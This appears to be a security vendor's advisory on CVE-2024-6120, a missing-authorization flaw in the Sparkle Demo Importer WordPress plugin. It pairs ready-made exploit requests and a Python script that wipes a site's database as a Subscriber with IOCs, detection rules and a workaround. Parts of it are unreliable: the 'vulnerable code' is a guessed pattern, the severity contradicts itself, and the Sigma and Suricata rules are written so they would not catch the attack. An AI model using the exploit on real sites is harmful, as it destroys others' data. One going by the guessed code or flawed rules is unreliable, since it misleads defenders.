CVE-2024-6120

Executive Summary

CVE-2024-6120 is a critical missing authorization vulnerability in the Sparkle Demo Importer WordPress plugin (versions up to and including 1.4.7). This flaw allows authenticated attackers with Subscriber-level access or higher to perform unauthorized database resets and import demo data. The vulnerability stems from missing capability checks on multiple functions, enabling an attacker to delete all posts, pages, and uploaded files, and to download and install a limited set of demo plugins. This can lead to complete site defacement, data loss, and potential backdoor installation via malicious demo plugins. The vulnerability is currently unpatched, and a proof-of-concept exists.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or PHP core. The plugin's failure to enforce proper user capabilities allows low-privileged users to perform destructive administrative actions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

Threat Level: High (due to low privileges required and high impact on integrity and availability).

Deep Dive & Mechanics

The Sparkle Demo Importer plugin registers several AJAX actions and admin-post hooks that are intended for administrative use during theme/plugin setup. However, the plugin fails to call current_user_can() or any other capability check before executing destructive operations.

Vulnerable Functions (likely):

• reset_database() - Drops all WordPress tables and re-runs the installation script.
• import_demo_data() - Imports demo content (posts, pages, media) from a remote server.
• install_demo_plugins() - Downloads and activates a predefined set of plugins.

Attack Flow:

1. Attacker authenticates as a Subscriber (or higher).
2. Attacker sends a crafted POST request to /wp-admin/admin-ajax.php with action=sparkle_reset_database (or similar).
3. The plugin executes the function without checking if the user has manage_options capability.
4. All posts, pages, media, and settings are deleted.
5. Optionally, the attacker can trigger demo import to install potentially malicious plugins.

Root Cause: Missing capability checks on all AJAX and admin-post handlers.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (PHP):

add_action('wp_ajax_sparkle_reset_database', 'sparkle_reset_database');
function sparkle_reset_database() {
    // No capability check
    global $wpdb;
    $tables = $wpdb->get_col("SHOW TABLES");
    foreach ($tables as $table) {
        $wpdb->query("DROP TABLE IF EXISTS $table");
    }
    // ... reinstall WordPress
}

Patched Code (Hypothetical):

add_action('wp_ajax_sparkle_reset_database', 'sparkle_reset_database');
function sparkle_reset_database() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // ... rest of function
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Sparkle Demo Importer <= 1.4.7 active.
• Valid user account with Subscriber role (or higher).

Exploit Steps:

1. Obtain a valid nonce (if required) by inspecting the plugin's JavaScript or by brute-forcing (some versions may not use nonces).
2. Send the following HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_xxx=...

action=sparkle_reset_database&_wpnonce=123456

3. The site will be reset to a fresh installation.
4. To import demo data (and potentially malicious plugins):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_xxx=...

action=sparkle_import_demo&demo_id=default

Automated Exploit (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
# Login as subscriber
session.post(f"{target}/wp-login.php", data={"log": "user", "pwd": "pass"})

# Reset database
session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "sparkle_reset_database"
})

Blue Team (Detection & Prevention)

Detection:

• Monitor for AJAX requests to admin-ajax.php with action parameters containing sparkle_ from non-admin users.
• Alert on any DROP TABLE queries in MySQL logs originating from the WordPress user.
• Monitor for sudden site unavailability or content loss.

Prevention:

• Immediately disable the Sparkle Demo Importer plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=sparkle_* from users without Administrator role.
• Implement a WordPress security plugin that enforces capability checks.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=sparkle_reset_database or action=sparkle_import_demo.
• Unusual outbound connections to demo plugin servers (e.g., demo.sparkle-theme.com).

File System IOCs:

• Presence of unexpected plugins in /wp-content/plugins/ that were not manually installed.
• Modified or deleted wp-config.php (if the reset script modifies it).

Database IOCs:

• Absence of all WordPress tables (after reset).
• Newly created admin user (if the reset script creates one).

Log IOCs:

• WordPress debug log entries showing sparkle_reset_database called by a Subscriber.
• MySQL general log showing DROP TABLE statements.

Detection Engineering

YARA Rule

rule CVE_2024_6120_Sparkle_Demo_Importer {
    meta:
        description = "Detects Sparkle Demo Importer plugin files with missing capability checks"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-6120"
    strings:
        $func1 = "sparkle_reset_database" ascii wide
        $func2 = "sparkle_import_demo" ascii wide
        $func3 = "sparkle_install_plugins" ascii wide
        $hook1 = "wp_ajax_sparkle_" ascii wide
        $hook2 = "admin_post_sparkle_" ascii wide
        $nocap = "current_user_can" ascii wide
    condition:
        (($func1 or $func2 or $func3) and ($hook1 or $hook2)) and not $nocap
}

Sigma Rule

title: CVE-2024-6120 Sparkle Demo Importer Unauthorized Database Reset
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects AJAX requests to Sparkle Demo Importer functions from non-admin users
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=sparkle_reset_database'
            - 'action=sparkle_import_demo'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6120 Sparkle Demo Importer Unauthorized Access"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=sparkle_reset_database"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin - Deactivate and delete the Sparkle Demo Importer plugin from all WordPress installations.
2. Audit user accounts - Review all Subscriber-level accounts for signs of compromise.
3. Restore from backup - If the site was reset, restore from a clean backup taken before the incident.

Long-term Fix:

• The vendor must release a patched version that adds current_user_can('manage_options') checks to all AJAX and admin-post handlers.
• Until then, consider using an alternative demo import plugin that properly handles authorization.

Workaround:

• Add the following code to the theme's functions.php to block unauthorized access:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'sparkle_') === 0 && !current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers